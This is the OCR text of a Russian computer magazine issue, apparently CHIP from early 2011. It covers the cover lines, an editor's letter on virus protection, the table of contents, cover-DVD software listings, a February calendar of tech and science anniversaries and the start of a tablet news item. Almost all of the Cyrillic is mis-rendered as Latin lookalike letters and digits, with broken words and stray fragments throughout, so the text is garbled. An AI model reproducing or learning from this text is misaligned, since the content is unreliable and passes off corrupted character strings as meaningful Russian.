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TPEMJlEPbl, 
lirPbl, EOHYCbl 


CKaHMBaeM jieraabHO 

3arpy3Ka My3biKM, Biifleo m cocjna 6e3 Hapyiuemifl npaB ^28 


Kax onpenenHTb 
nOflfleilbHblM 
CMapTtjlOH >-44 


ET, KOMflblOTEPbl, TEJIEOOHbl, AyflMO, OOTO, BllflEO 


TopM03MT nK? 

JleHMM 3tpt|)eKTMBH0 
M 6blCTpO 


flOJ 163 HblM COCjDT Hd DVD 


►34 


Bee Jiynmee ot Apple, 
Microsoft m Google 

fljia o6meHMfl, pa3B/ieHeHMM m pa6oibi ^68 


XNTbi uutbpoBoro MMpa 2011 


9KCK/iK)3i4BHbm penopiaw: HOBeMiuiie TexHO/iomM m raflweTbi ^20 



flononHMTenbHbie TecTbi 


— Ha OHnaHH-nopiane www.ichip.ru 


Meraiedbi: 


amiiBiipycbi, 
TeneBM3opbi 40", HD-KaMepbi 


771609421008 













SGD? CJ10B0 PEflAKTOPA 


HOKTOpa 
Bbl3blBami? 





Ahtoh MoKpeuoB, 

maBHbiM peflaKTop am? 


KojiHnecTBO HHTepHeT-yrp03 c Ka>i<mbiM yojxom pacTeT b reoMeTpnqec- 
koh nporpeccHH, h iiohth jiio6oh H3 Hac xot % 6bi pa3 nona^ajicii Ha 
y^OHKy MOUieHHHKOB. Ho KaK 6bi hh CTapajiHCB pa3pa6oTHHKH BHpyCOB, 
3anjHTa cymecTByeT, h bbi HanaeTe ee Ha CHIP DVD. 




J1EHMM BbICTPO. He npocTO ycTpaHHTB cmmhtombi, 
a HCKopeHHTB nocejiHBiHHecii b KOMnbiOTepe BHpycbi 
noMoryr coBeTbi CHIP (cTp. 34). Bbi y3HaeTe, KaKH- 
mh cnoco6aMH Bpe/jOHOCHbiH co(J)T npoHHKaeT b 
CHCT eMy h KaK nepeKpbiTb 3 th jia3eHKH (cTp. 80), 
a TaiGKe KaKOH aHTHBHpyc jiynnie Bcero Hcnojib30BaTb 
b noBceAHeBHOH pa6oTe (cTp. 106). 



PACI103HAEM flOflllEJlKM. CneijHajiHCTbi CHIP npoBejin 
TmaTejibHbiH aHajiH3 kjiohob nonyjnipHbix MO/jejieH 
CMapT(j)OHOB H npe^CTaBJIHIOT pe3yjIbTaTbI «BCKpbITM51» 
(cTp. 44). Taioxe ohm noMoryr onpe^ejiHTb, ihhhohht 
jih 3a BaMH 6pay3ep (cTp. 112), h 3ani,HTHTb pe6eHKa 
ot ceTeBbix yrpo3 (cTp. 118). 



HlABHblE TPEHflbl 2011. HecMOTps Ha Bee CJI03KH0CTH, 
Hac oxcH^aeT noflBjieHMe MHOxcecTBa nojie3Hbix TexHO- 
jiomH h ycTpoHCTB, KOTopbie c^ejiaiOT >KM3Hb 6ojiee 
KOM^opTHOH (cTp. 20). A b nepcneKTHBe Ha noMonjb 
npnaeT h HCKyccTBeHHbiH HHTejuieKT (cTp. 52). 


0B£0 



Enje 6ojibine HHcjDopMaijHH bbi HaitaeTe Ha HarneM 
OHjiaHH-nopTajie, rjiz ObiCTporo nepexo^a Ha koto- 
pbiH BOcnojib3yHTecb QR-ko^om (cTp. 6). 

3,zi,opoBb5i h yaaHH! 



CHI PJ 

ONLINE CPHj 


HOBbIM CaMT 

wypHana CHIP 



ATaioKe 

cexpeibi u coBeTbi, 
cpopyM, BMAeo 
ii MHoroe Apyroe 






HB3? C 


34 

T 0 PM 03 MT flK? 
M 3 <|M|)eKTMBH 0 



44 


4eHa min KaiecTBo: 

npo6/ieMa Bbi6opa 


COAoMauiHiie po6oTbi 
^ceroAHB 14 3aBTpa 


“7C Bbi6tipaef Bepcmo 
f V Mo 6 l» 1 bHOM OC 


84 : 


AonojiHeHiM pj\f\ OC 

OT npOM3BOAHTe/1fl 


HOBOCTM 

8 ■ HOBOCTM M3 MMpa KOMIIblOTepOB 
M KOMMyHMKaiIMM 

20 ■ XllTbl AM(|)pOBOrO MI4pa 2011 

25 caMbix o^MflaeMbix hobmhok Haciy- 
ni/iBiuero ro,qa 

28 ■ CxanMsaeM siera/ibHo 

3aK0HHbie i/i Oecn/iaTHbie Be6-pecypcbi 
c Bi/ifleo, My3biK0M i/i nporpaivuviaMM 

31 ■ 10 caMbix rpoMKMx 
aTax xaxepos 

Ot o6MaHa aHa/ioroBoro Te/iec|30Ha 
A o xpa>Ki/i cexpeTOB nemaroHa 

TEMA HOMEPA 

34 T 0 PM 03 MT I1K? JleHMM 

3tJ)(J)eKTMBHO 

1 /lmeM i/i ydpaHaeM npMHMHbi cdoeB 
i/i Mefl/ieHHOM pa 6 oTbi Windows 

TECTbl M 0E30Pbl 

40 3Kcnpecc-TecTbi 

0530P HOBMHOK TeXHMKM M 110 

43 ■ Tma noxynaTenn 

TpM onTMMaobHbie KOHcpMrypapMM nK 

44 ■ Kax onpeAejiMTb 

nOAAe/IbHblM CMapT(J)OH 

Edb Jim CMbic/i noxynaTb KonMM floporo- 
CTOfllMMX MOfleoeM M3BeCTHblX MapOK 

50 ■ GT5: roHKM no-KpynHOMy 

ABTOCMMyjuiTop Gran Turismo 5 

52 ■ IlICKyCCTBeHHbIM MHTeiliieKT 

Ha hto cnocodHbi coBpeivieHHbie po6oibi 
m KaKOBbi nepcneKTMBbi 3 tom OTpac/iM 

59 ■ Kax TecTMpyeT CHIP 

MeTOflMKa oueHKM TeJieBM30p0B 

0 ■ Flapafl 6oiibuiMx axpaHos 

Ted ABaAuaTM >KK-TejieBM3opoB c Ana- 
roHa/uiMM ot 40 ao 55 akjmmob 


66 ■ HD-xaMepbi: o 6 la mm 3axeT 

CpaBHMTe/lbHblM TeCT 12 BMAB0K3Mep 
BbICOKOM HeTKOCTM 

68 ■ Bee jiymuee ot Apple, 
Microsoft m Google 

OObeAMHfleM B03M0>KH0CTM yCTpOMCTB 
M3 TpeX MMpOB 

72 ■ UEFI: Hosafl cynep-BIOS 

Hero >KAaTb ot npeeMHMKa 6a30B0M 
CMCTeMbl BBOAa-BbIBOAa 

7 4 floxojieHMe rx6pMAHbix amckob 

HoBbie rMOpMAHbie HaKonMTe/iM coBMema- 
kjt b cede AOCTOMHCTBa SSD m HDD 

76 ■Android noaaH 

KmoneBbie ocodeHHOCTM pa3Hbix 
BepcMM Android OS 

80 ■ J1a3eMKM a J\* BMpycoB 

Kax 3aiAMTMTbcn ot nporpaivnvi- 
BpeAMTeoeM m wnMOHOB 

84 ■ BecnnaTHoe y/iynuiexMe 
Windows 

no ot Microsoft noMO>KeT pacwMpMTb 
c|3yHKAM0HajibH0CTb BaweM OC 

89 !1po(|)eccMOHaiibHan 3aiAMTa 

MaiepMHCKan n/iaia MSI 890FXA-GD70 

90 ■ CHIP pexoMeHAyeT 

Tedbi CHIP: 100 npoAyKTOB 
b 20 KaieropMnx 

96 IlyTeBOAXTeiib no CPU m GPU 

PeMTMHr 60 peHTpa/ibHbix m 30 rpac|3M- 
necKMx npoqeccopoB 

1 06 ■ Hacxo/ibxo xopouio 3 a lamias - 
kit cpeACTBa 6e3onacHOCTM? 

Ted cnepMajiM3MpoBaHHbix nporpaMM 
noKa3biBaeT Heo>KMAaHHbie pe3y/ibTaTbi 

1 1 2 ■ Bam 6pay3ep — mnMOH? 

Coe>KKa b 1/lHTepHeie m cnoco6bi 3aiAMTbi 


98 COAEPXCAHME DVD 

1 01 ■ KOMMepHeCXMM cocJjt 

063op HOBbix KOMMepnecKMx nporpaMM 

102 Freeware Deluxe 

063op JiyHLUMX OecnjiaTHbix yTM/iMT 

1 04 ■ Tbom xpyro3op 

CpaBHMTeJlbHblM TeCT no Atlfl C03AaHMn 
c|30TonaHopaM 


nPAKTMKA 

1 1 4 ■ lloKMAan ICQ 

KoMcjDopTHbiM nepexoA Ha a/ibTepHaTMB- 
Hbie npoTOKo/ibi 

1 1 8 ■ Kax saiAMTMTb pe6eHxa ot CeTM 

Bee AJifl KOHTpo/in AeflTe/ibHOCTM f\eie\h 
b I/I HTepHeie 

1 22 ■ UMtfjpoBoe TB: cexpeTbi 

Mflea/lbHOM KapTMHKM 

HeM xopouj HOBbIM CTaHAapT 

1 28 ■ Ulxoiia (|)OTOMacTepcTBa b CeTM 

l/lHTepHeT-KJiy6bi noMoryT HaHMHaionMM 
CfDOTOrpactDaM pa3BMTb CBOM Ta/iaHT 

132 ■ Be3onacHoe o6HosneHMe BIOS 

CaMbie HaAe>KHbie cnocodbi nepenpowMB- 
KM 6a30B0M CMCTeMbl BBOAa-BbIBOAa 

1 31 XopouiMe «n/ioxMe» yTMiiMTbi 

llporpaMMbl AJ15I CJie>KKM M B3J10Ma M0>KH0 
Mcno/ib30BaTb b 6/iarMx pe/wx 

140 IlMIUeM CKpMnT B HeCKOJlbKO 

KilMKOB 

ABTOMaTM3apMfl npopeccoB b Windows 

142 CEKPETbl M COBETbl 
146 AHOHC 


UBeTOBaa HaBnrauM5i 

KoivinbiOTepbi m nepi/icpepi/m 

Ooto, Bi/ifleo, ayfli/io 
■ I/I HTepHeT, CBfl3b, ceTi/i 
UncppoBaa TexHi/iKa 
DVD 
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M V >K C K O 14 


m v p h a n 


/lETEHAAPHblM 



EE XOHE 
CAM t 
flOKTOP 
XAYC! 


MAPAT 

6ALUAP0B: 

«nnTb neBymeK 
B HOMep? 
JlerKo!» 


mam 

n/llOCbl M MMHyCbl 
KopnopaTMBHoro ( 
MHTMMa 


3 KCKJ 1 103 MB 


IJiyHUIMX 

nocTejibHbix 

CUeH B KHHO 

t'OBEflA 

JIIOBOI?I 

MEHOM 


3mmjihsi BkiuiHeBCKan 
pacKpbinacb co Bcex cropoH 


JIETEHflAPHblH MVMCKOM JKVPHAil 

B nPOflA)KE C 21 BHBAPB 


PeK/iarvia 



SSH? COflEPJKAHME 


Backup & Recovery 



A Tatone: 

Windows: Windows Live Essentials 2011 Full, Defraggler, CCleaner 
Linux: Fedora 14, Pinta, qBittorrent, MLDonkey, VLC media player 
PDA: «BKoHTaKTe», eazyWallet, myPlayer, locationAlarm, Paul’s Pick 
Teci: PanoramaStudio Pro, Autopano Giga, Adobe Photoshop CS5 


^>/o< 


OVe 


MHiepecHoe 
Ha DVD 


Cneona/ibHafl BepcMH npor- 
paMMbi co3flaHna pe- 
3epBHbix xonMM ot Paragon 
paccwaHa Ha 90 flHew. 




«KoHTeKCT 7» CE 

KoHTeKCTHbm nepeBOflHMK 
c 800 000 cnoBapHbix ciaieii 
npeflOCTaBJiaeicn Hai_ui/iM 
HmaiennM Secn/iaTHO. 



Bee Jiyniuee 110, noflBMBweecfl Ha pbmxe 
3a Mecap, Bbi HaPiAeTe Ha HaweM AMexe. 


SkCKH 103MB 

B 3tom Mecflue pa3pa6oTHMKM 
nporpaMM TaK crapa/iMCb npe- 
AOCTaBmb cnepna^bHbie Bep- 
cm CBoero 110 HMTaTe/iflM Ha- 
tuero wypHa/ia, hto Tenepb i/ix 
y Hac b M36biTKe. Oahmx To/ib- 
KO KOHTeKCTHbIX nepeBOflHM- 
kob ABa — npeAbiAyLAaa, 
weerafl Bepcnn Translatelt! n 
aKTya/ibHaa BepcMa c/iOBapa 
«KoHTeKCT 7». KpoMe Toro, 
b noAapoK Bbi no/iynme 
nporpaMMbi Skype Recorder 
m Ashampoo Internet 


Accelerator. llepBafl no3- 
BO/iaeT 3anncbiBaTb pa3ro- 
Bopbi no Skype, a BTopaa 
omnMa/ibHO Hacipom 
coeAMHeHne c CeTbio. 

Pa6oia m pa3BneHeHii5i 

Ha 3tot pa3 b HaweM Tecm- 
poBaHnn ynacTBOBa^H npor- 
paMMbi fl/lfl C03AaHH51 C))0T0- 
naHopaM — Mbi npeflcraB/ifl- 
eM BaM caMbie nHTepecHbie 
H3 hux. A pa3fle/i «My3biKa» 
npe3eHTyeT a/ib6oM KnpoB- 
ckom rpynnbi Xe-None. 


Internet Accelerator 

Ecjim Hy>KHO ycKopmb 
HHTepHei-coeflHHeHMe, 
ncnonb3yPiTe bo3mo>khoc- 
TM 3T0M nporpaMMbi. 


«Firefox nnioc+» 

lloAbopxa jiyHLui/ix pacwM- 
peHMPi aah 6pay3epa ot 
M ozilla, otjimhho Aonon- 
hhiolamx Apyr APyra. 




EOJ1EE 150 nPOrPAMM - HA HAIUEM DVD 


HSSiB w w 

iiBbicTpbiM nepexoA Ha caMT 


Ec/im Bbi yBHAenw b CTaTbe QR-koa 
(H epHO-6e/ibm KBaApaT), to c no- 
MOiAbio Be6-KaMepbi mam CMapT- 
cjDOHa Mox<eTe ObicTpo nepeMTM 
Ha OHAaMH-nopTan www.ichip.ru, 
rAe HaPiAeTe AonoAHMTeAbHyio 
MH0opMai4Mio, a T3K>Ke noAyHMTe 
AOCTyn k o6cyx<AeHMio MHTepe- 
cyiOLAMx Bac TeM Ha cjDopyMe. 


HTOObl BOCnOAb30BaTbCA 3TMM 
latpmxkoaom, ycTaHOBMTe 6ecnAaT- 
Hoe npMAO>KeHMe QuickMark (www. 
quickmark.com.tw). Oho cywecTByeT 
b BepcMAx Kax flna KOMnbiOTepa, Tax 
M 60 AbLiJMHCTBa MOAeneM CMapTCjDO- 
hob. 3anycTMTe nporpaMMy m noA- 
HecMTe k BeO-xaMepe crrpaHMLiy c 
QR-MeTxoPi (mam HanpaBbTe Ha Hee 


xaMepy TenecfcoHa). CAeAMTe 3a TeM, 
HToObi lutpmxxoa nonaA b paMxy c 
xpacHbiMM yroAxaMM m M3o6pa>xeHMe 
6bmo b cpoxyce. nocAe pacno3HaBa- 
hma b oxHe nporpaMMbi noABMTcn 
ccbmxa — npM xAMxe no Hen OTxpo- 
eTcn 6pay3ep, m Bbi nonaAeTe b Hy>x- 
HbiM pa3Aen caPiTa 6e3 HeobxoAMMO- 
ctm BpyHHyx) BBOAMTb aApec. 
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ApT-AMpeKTOp 
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OTAen pennaMbi (495) 787 33 91 
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>KypHa^ 3aperndpnpoBaH b $eAepa/ibHOM c^y>K6e no HaA3opy b ccpepe 
MaCCOBbIX KOMMyHHKapMM, CBA3H H OXpaHbl KynbTypHOTO HaCneAMfl. 
CBHAeienbdBO o perncipaunn 
nM N20C77-28958 ot 20 mna 2007 r. 

3a coAep>KaHne pewiaMHoro o6bnBneHnn OTBeTdBeHHOdb HeceT peicnaMOAa- 
Te/ib. 3a opnrnHanbHOdb h coAep>KaHne CTaTbH OTBeTdBeH HOdb HeceT aBTop. 
PyKonncn peAaKAHen He B03BpaiAaiOTCB. B cnynae npHeMa pyKonncn k ny6nn- 

K34HH peAaKAHfl CT3BHT 06 3T0M aBTOpa B H3BeCTH0CTb. npH 3T0M H3AaTe/lb 

no/iynaeT 3KCKJiK)3MBHoe npaBO Ha pacnpodpaHeHHe npMHJiToro npon3BeAeHnn 
nepe3 JKypHan BicmoHan B03M0)KH0CTb ero ny6nnKaunn Ha WWW-dpaHHuax 
JKypHa/ia, CD HnH MHbIM o6pa30M B 3/ieKTpOHHOH ()DOpMe. ABTOpCKHH TOHOpap 
Bbin/iaHHBaeTCB pa30B0 b TeneHHe nnTH HeAe/ib nocne nepBOH ny6nnKaunn h 
b pa3Mepe, onpeAenneMOM BHyrpeHHHM cnpaBOHHHKOM TapucjxjB. B AaHHbm 
roHopap bxoaht h B03Harpa>KAeHne 3a B03M0)KHyio ny6nnKa4Hio npon3BeAeHnn 
b 3/ieKTpoHHOH cjDopMe. no HdeneHHH OAHoro roAa c MOMeHTa nepBoil ny6nn- 
K34HH aBTop HMeeT npaBO ony6/iHKOBaTb CBoe npon3BeAeHne b ApyroM Mecie 
6e3 npeABapmenbHoro nncbMeHHoro comacnn H3AaTenn. Bee npaBa Ha ony6/in- 
KOBaHHbie Maiepnanbi 3aiAmAeHbi. nepenenaTKa, ncno/ib30BaHne mw nepeBOA 
Ha APyroH fl3biK, a TaK)«e HHoe ncnonb30BaHne npon3BeAeHnn, paBHo xax hx 
BWH oneHHe b codaB APyroro npon3BeAeHnn (c 6 ophhk, Kax nadb APyroro npo- 
H3BeAeHnn, ncno/ib30BaHne b KaKoii-nn6o cpopMe b 3/ieKrpoHHoii ny6nnKa4Hn) 
6e3 comacHn n3AaTenn 3anpeiAeHbi. 

noflnMCKA 

noAnHCHOH HHAexc 60500 b xaianore «noHTa Pocchh». 
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3KCKjjw3H? 


AKryA/ibf ii 


abt omob 




OB C KWIWM 




mTuMSMSimmi] 


®b s&s&sm 

^fflSDoa 


HA nounroHE 

jjfess DD cM© 


Ka>Kflbiw Mec$iM b caMOM nony/isipHOM b EBpone 

ABTOMOBMJlbHOM >KYPHAJ1E 

• 06'beKTi/iBHbie TecTbi Ha co6cTBeHHOM nonurone 

• AKTyanbHbie i 4 eHbi Ha HOBbie aBTOMo6miM 


Pe&naMa. HoftnuCKa sepe3 n/iate)KHbie tepMMHanbi QIWI. Tenetf^OH OTpena noflnucKH; (495) 660-73-69 



HOBOCTM KaneHflapb 


(DEBPAJIb 


Stomy iviecauy noBe 3 Jio MeHbiue flpymx. Ma/io Toro, hto oh caMbiM kopotkmm, Tax eifle v\ 

He meei nocToaHHOM npoflO/iwHTejibHOCTii: b Bi/icoKOCHbie roflbi OHa yBejiMHMBaeTca c 28 flo 
29 flHew. OflHaKO m cbeBpajiio ecrb HeM noxBacTaTbca b n/iaHe CBa3aHHbix c hum cobbm/m. 


/ 


7 0eBpa;ifl 1832 rofla 


Apyrax reoMeTpim 

I PeKTop Ka3aHCKoro 
I yHi/iBepci/ueia HnKO/iaw 
JlobaneBCKMM npefl- 
CTaBi/ui AKafleMMM HayK 
cbom Tpyfl «0 Hananax 
reoMeipMM» — nepBbm 
B Ml/ipe, B KOTOpOM 
i/i3narajii/icb ocHOBbi 
HeeBK/i MflOBOM reo- 
Meipi/n/i. OflHaKO ero 
HayHHbie i/iflei/i He 
6bmn noHaTbi coBpe- 
MeHHI/IKaMI/l. Kcia™, 
pacnpocipaHeHo sabnywfleHMe, hto b ci/icTeivie 
JlobaneBCKoro napanne/ibHbie npaMbie nepeceKa- 
fOTca, OflHaKO sto He TaK. 



Oeepa/ib 1720 rofla 
«lloTaeHHoe cyflHo» 

PyccKi/iw nnoTHi/iK EcJmm Hmkohob Ha Bepc|3n b CaHKT-lleTepbypre Hana/i CTpoMTb 
nepByfo OTeHecTBeHHyK) noflBOflHyio JioflKy. CHanana 6bina C03flaHa fleMCTByio- 
iflaa MOfle/ib, a k oceHi/i 1 724 rofla — caMa JioflKa. OHa bbina flepeBaHHOM, npn- 
BOflH/iacb b ABi/iweHi/ie BecnaMi/i, a dmurn cocToan m 3 seibipex nenoBeK. Ho 
nepBbie McnbrraHMa npomriM HeyflanHO, a nocne CMepn/i rieipa I CTpoMTenbCTBO 
jioflKi/i 6bmo 3a6poujeHO. Hmamx nepTewei/i m pucyHKOB He coxpaHMnocb. 




12 cpeBpami 1955 rofla 


«BaMKOHyp» 

npi/iHHTO nociaHOBJieHne npaBMTenbCTBa CCCP o 
Hanane CTpoi/ue/ibCTBa b Ka3axciaHe «nonMroHa flna 
npoBefleHi/m ncnbuaHHM MewKOHTMHeHTanbHbix pa- 
KeT». nocne 3anycKa nepBoro cnyTH i/iKa b 1957 rofly 
oh CTan kocmoapomom. B HacToaiflee Bpeivia Me>Kfly 
PoccweM i/i Ka3axcTaHOM 3aKJiioHeH floroBop ob 
apeHfle «EaMKOHypa» flo 2050 rofla. 


1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 

12 

13 

BT. 

cp. 

HT. 

m. 

c6. 

BC. 

nH. 

BT. 

cp. 

HT. 

nT. 

c6. 

BC. 



facebook 


4 cpeBpajia 2004 rofla 
Facebook 

B 3tot fleHb 6bma 3anyifleHa co- 
UHajibHaa ceib Facebook. riepBOHa- 
Ha/lbHO CBMT, Ha3blBaBLLII/IMCa TOTfla 
thefacebook.com, 6bm flociyneH 
TonbKO CTyfleHTaM TapBapflCKoro 
yHMBepcmeia, 3aTeM nepeneHb 
By30B pacwMpanca, a c ceHTabpa 
2006 rofla pecypc CTan OTKpbiTbiM 
Ana Bcex, y koto ecTb cbom aflpec 
3/ieKTpOHHOM nOHTbl. 


1 0 cpeBpann 1 906 rofla 


flpeflHoyT 

CnyifleH Ha BOfly aHrni/i mcki/im 
bpoHeHoceu «flpeflHoyT» 

(«HeycipaiiJMMbm»). 3 to 6bin 
y>Ke wecTOM Kopabnb c TaKi/iM 
mvieHeM, ho mmchho ero Ha- 
3BaHi/ie CTano HapMuaTenbHbiM, 
npeBpan/iBiiii/icb b obo3HaneHMe 
HOBOrO Kliacca JIMHKOpOB. OflHMM 
M3 OCHOBHbIX HOBOBBefleHMM 6blJl eflMHbIM Ka/lMbp nyilieK OCHOBHOM OmeBOM 
MoiflM, aynpaBneHMe omeM CTano ueHTpajiM30BaHHbiM. 



9 cpeepajifi 1 931 rofla 


OTenecTBeHHaa 
«4>a6pi4Ka rpe3» 

B MocKBe Ha JleHMHCKMX ropax cocToanocb Top- 
>KeCTBeHHOe OTKpbITMe OeHTpa/lbHOM cfDabpMKM 
COI 03 KMHO. flo 3 T 0 r 0 OTfleJieHMB «Mockmho- 
KOM 6 MHaTa» (HbIHe — «MOCC|DMJlbM») OblJlM 
pa 36 pocaHbi no BceMy ropofly. HoBbm KOMnneKC 
ObbeflMHMJl npOM 3 BOflCTBO B OflHOM MeCTe, HTO 
Ha TOT MOMeHT 6 blJ 10 yHMKa/lbHblM HBJieHMeM. 



10t|]eBpajifl 1996 rona 


Deep Blue 

15 neT Ha 3 afl KOMnbKrrep Bnep- 
Bbie Bbmrpan y neivinMOHa MMpa 
napTMio b maxMaTbi. 3 to 6 bma 
nepBaa napTMa MaTHa Me>Kfly 
cynepKOMnbiOTepoM Deep Blue 
m TappM KacnapoBbiM, a caM MaTH 
b ue/iOM 6 bm npoMrpaH MawMHOM 
co cneTOM 4 : 2 . OflHaKO nepe 3 rofl 
c HebojibioMM nenoBeK Bee we 
noTepnen nopaweHMe b cocTa 3 a- 
HMM C 3 /ieKTpOHHblM COnepHMKOM. 


14 (beBpajin 1 946 rofla 

ENIAC 

B JlabopaTopMM bawiMCTM- 
necKMX MCcneflOBaHMM CLUA 
3apa6oTan ENIAC — nepBbiM 
pea/lbHO CjDyHKflMOHMpyiOLflMM 
UM(|)pOBOM SJieKTpOHHblM 
KOMnbioTep. Oh bbin co3flaH 
no 3aKa3y aiviepMKaHCKMx bo- 
eHHbix m npeflHa3Hananca b 
nepByio onepeflb fl/ia pacneTa 
TabJiMfl CTpenbbbi (c oahom 
oh cnpaB/ianca 3a 15 ceKyHfl 
npoTMB 20 nacoB pabo™ 
nenoBeKa c MexaHMnecKMM 
apM(J)MOMeTpOM), OflHaKO 
peman m HayHHbie 3aflanM. 
ENIAC npopaboTan flo OKTab- 
pa 1 955 rofla, BecMn 27 t 
m noTpebnan 150 kBt SHeprMM. 
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1 9 tfreBpaim 1855 rofla 


llporH03 noroAbi 


OpaHI4y3CKl/IM aCTpOHOM, A^peKTOp riapi/i>KCKOM 
o6cepBaiopnM Yp6eH JleBepbe Ha ocHOBaHi/ 11/1 ao- 
HeceHi/iM, nojiyneHHbix no Tenerpacfiy 1/13 pa3Hbix 
eBponewcKi/ix ropoAOB, cociaBMJi nepByio b ivmpe 
ci/iHonTi/iHecKyK) xapTy — reorpactDi/inecxyK) xapTy c 
HaHeceHHbiMi/i Ha Hee pe3yjibTaiaivii/i Ha6moAem/M Me- 
TeociaHUMM. Taxan cxeivia no3BonneT oueHi/iTb noroAy, 
a aHann3 nocneAOBaiejibHO cociaB/ieHHbix cxeM — 
npeABi/meTb ee i/i3MeHeHi/in. Taxi/iM o6pa30M, JleBepbe 
nono>Ki/iJi Hanano BceMi/ipHOM cny>K6e noroAbi . 


20 t|jeBpajifl 1962 rofla 


llepBUM acTpoHaBT 

CocTonncn nepBbm op6i/iTanbHbm 
noneT KOCMi/inecKoro xopadnn 
CLUA: «Mepxypi/m-6» c acipoHaB- 
tom A>kohom rneHHOM Ha 6opTy 
3a 4 naca 43 Mi/myTbi Tpi/i>xAbi 
odomyn 3eM/iK). nepBbm aMepi/i- 
xaHcxi/m cy6op6majibHbm noneT 
coBepwi/m AnaH LUenapA Ha 
«Mepxypi/m-3» 5 Man 1961 roAa. 

/ 

21 ctieepajin 

Me>KAyHapoAHbiM achb poAHoro Jttbixa 




3tot AeHb 6bin ynpe>xAeH pewem/ieM 30 -m cecci/m TeHepanbHOM 
KOHt|)epeHunM fOHECKO b Hondpe 1999 roAa i/i OTMenaeTcn c uenbK) 
3aiAMTbi n3biKOBoro i/i KynbTypHoro MHoroo6pa3i/m. no OLjeHxaM 
IOHECKO i/i3 6000 cyiAecTByiOLAi/ix b Mi/ipe n3bixoB nonoBi/iHa Mox<eT 
b Oni/oxaMwee BpeMn noiepmb Hoci/rrenei/i. HaTeppi/rropi/ii/i Pocci/m 
noA yrpo30M i/icHe3HOBeHi/in HaxoAnTcn 139 n3bixoB. 


/_ 


23 tfteBpaim 


AeHb 3aiuMTHMKa OTenecTBa 

flaHHbm npa3AHHK cyiAecTByei b pnAe cipaH nocTCOBeTCKoro 
npodpaHCTBa — Pocci/ii/i, Yxpai/me, Eenopycci/u/i, Ki/ipn /13 i/m 
i/i TaA>Ki/iKi/iciaHe. B CBn3i/i c TeM, hto cnoBO «3aiAi/iTHi/iK» acco- 
Ui/u/ipyeTcn b nepByio osepeAb c My>xcxoii nacTbio Hacenem/in, 
3 tot AeHb TpaAi/ 1141 /iOHHO OTMenaiOT He cionbKO xax BoeHHyio 
Aaiy, CKonbKO xax AeHb Bcex My>KHi/iH. 
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BT. 
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nH. 


16 cpeBpa/ia 1978 rofla 

BBS 

B Hi/ixaro 3anyiAeHa nepBan b 
Mi/ipe BBS — «KOMnbiOTepHan 
aneKTpoHHan Aocxa o6bnBneHi/m» 
(Bulletin Board System). B tom 
roAy 31 /iMa 6bina CHe>xHOM, 1/1 
nporpaMMMCTbi BapA Kpi/iCTeHceH 
1/1 P3hai/i Tp3T pewi/mi/i co3AaTb 
ci/iCTeMy, no3BonmoiAyio 06 - 
LAaTbcn yAaneHHO. flo wi/ipoxoro 
pacnpocTpaHem/in 1/lHTepHeTa 
BBS aKTi/iBHO ncnonb30BanMCb 
BnaAenbuaMM KOMnbiOTepoB 
Ann oOiAem/in 1/1 odMeHa MHcjDop- 
Maui/iei/i. rioAKniOHeHi/ie k hum 
ocyiAecTBnnnocb c noMoiAbio 
MOAeMa nepe3 KOMMyTi/ipyeMbie 
Tenec[]OHHbie ce™. 

\ 



19ipeBpajm1986 rofla 


«Mnp» 

25 neT Ha3aA 6bin 3anyiAeH 6a30Bbm 6nox 
«Mi/ipa» — coBeTCKOH opdMTanbHOM CTaHui/m, 
npeACTaBnnBiijeH co6om cnoxHbm MHoroueneBon 
HayHHO-MCcneAOBaTenbCKMM xoMnnexc. 3a cne- 
AyioiAi/ie AecnTb neT k CTaHui/m oai/ih 3 a Apyn/iM 
6bini/i npi/icTbiKOBaHbi eiAe mecTb MOAynew. 

C 1995 roAa ee Hanani/i noceiAaTb 1/1 HOCTpaH Hbie 
KocMOHaBTbi — xax b cocTaBe 3xi/ma>xeM OTene- 
CTBeHHbix xopadnew, Tax 1/1 Ha aMepi/ixaHCxi/ix 
warmax. 23 MapTa 2001 roAa CTaHui/in «Mi/ip» 
6bina 3aTonneHa b Ti/ixom oxeaHe. 


/ 


28 ctjeepajin 1 935 rofla 

HeMHOH 

Yonnec Kapo3epc, rnaBHbm xi/imi/ix 
MC cneAOBaTenbcxoM na6opaTopi/ii/i 
aMepi/ixaHCXOM xoMnaHi/ 11/1 DuPont, 
BnepBbie ci/iHTe3i/ipoBan HewnoH — 
MaTepi/ian, nonyHi/iBLUi/m BnocneA- 
ctbi/ii/i caMoe wi/ipoxoe pacnpo- 
CTpaHeHi/ie xax b noTpedi/iTenbcxi/ix 
TOBapax (b nacTHOCTi/i, OAe>xAe), 
Tax i/i npoMbiLuneHHOCTi/i. Ha chi/im- 
xe — MonHi/in 1/13 HewnoHa. 




I J 


23 i|)eBpajm 1947 rofla 


ISO 

OcHOBaHa ISO — Me>xAyHapoAHan opram/i3aui/in no CTaH- 
AapTi/i3aui/ii/i (International Organization for Standardization). 
Ha 3tom nonpi/ime OHa 3aTpan/iBaeT Bee o6nacTi/i, 3 a i/ic- 
xnxwem/ieM 3nexTpoTexHi/ixi/i 1/1 anexTpoHMXM, a Tax>xe 
3am/iMaeTcn npodneMaMM cep™ctDnxaunM. 

\ 
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flJiaHiueTHbie flK 


Aasm npoTMB 
a6iiOKa 


S3D? HOBOCTM 


PaHee Hen3BecTHafl lumpokom KOivmbiOTepHOM 
oSinecTBeHHOCTM MHflMMCKaa KOMnaHna Notion Ink 
BbinycTM/ia n/iaHioeTHbrn I1K, npeBOCxoflamnw no 
KJiKDneBbiM xapaKTepucTMKaM Apple iPad. Mofleon 
no npefl3aKa3y 6bmn pacKyn/ieHbi 3a CHmaHbie ahm 


n oc/ie Bbixofla npaKTnnecKn /ho 6 om 
hobmhkm ot Apple Ha pbiHKe cpa3y 
no^B/meTca iie/iaa nepefla ee«y6nnu». 
npaBfla, noKa BbuecHHTb KOMnaHmo CrnBa 
fl>Ko6ca c jiMflMpyKDUMx no3nunn yAaBa/iocb 
Jirnub ABa>KAbi. B 1980-x roAax OTKpbiTaa 
n^aic|3opMa IBM PC peLume/ibHO OTOABHHyjia 
Ha BTopoM n/iaH KOMnbfOTepbi Macintosh. 
TorAa Bbi6paTbC5i c 33 abopkob nporpecca 
«5 i 6 /iohhom» KOMnaHMM noMoma CTaBKa Ha 

3KCK/lK)3HBHOCTb, BOnjlOTMBLLJaflCfl B J103yH- 

re «Think Different». 


Biopoe nopaweHne Apple Tepnm cennac, 
Ha HaiUMX ma3ax. V\ BHOBb OT OTKpblTOM 

n/iaicjDopMbi — Google Android. 3ia onepa- 
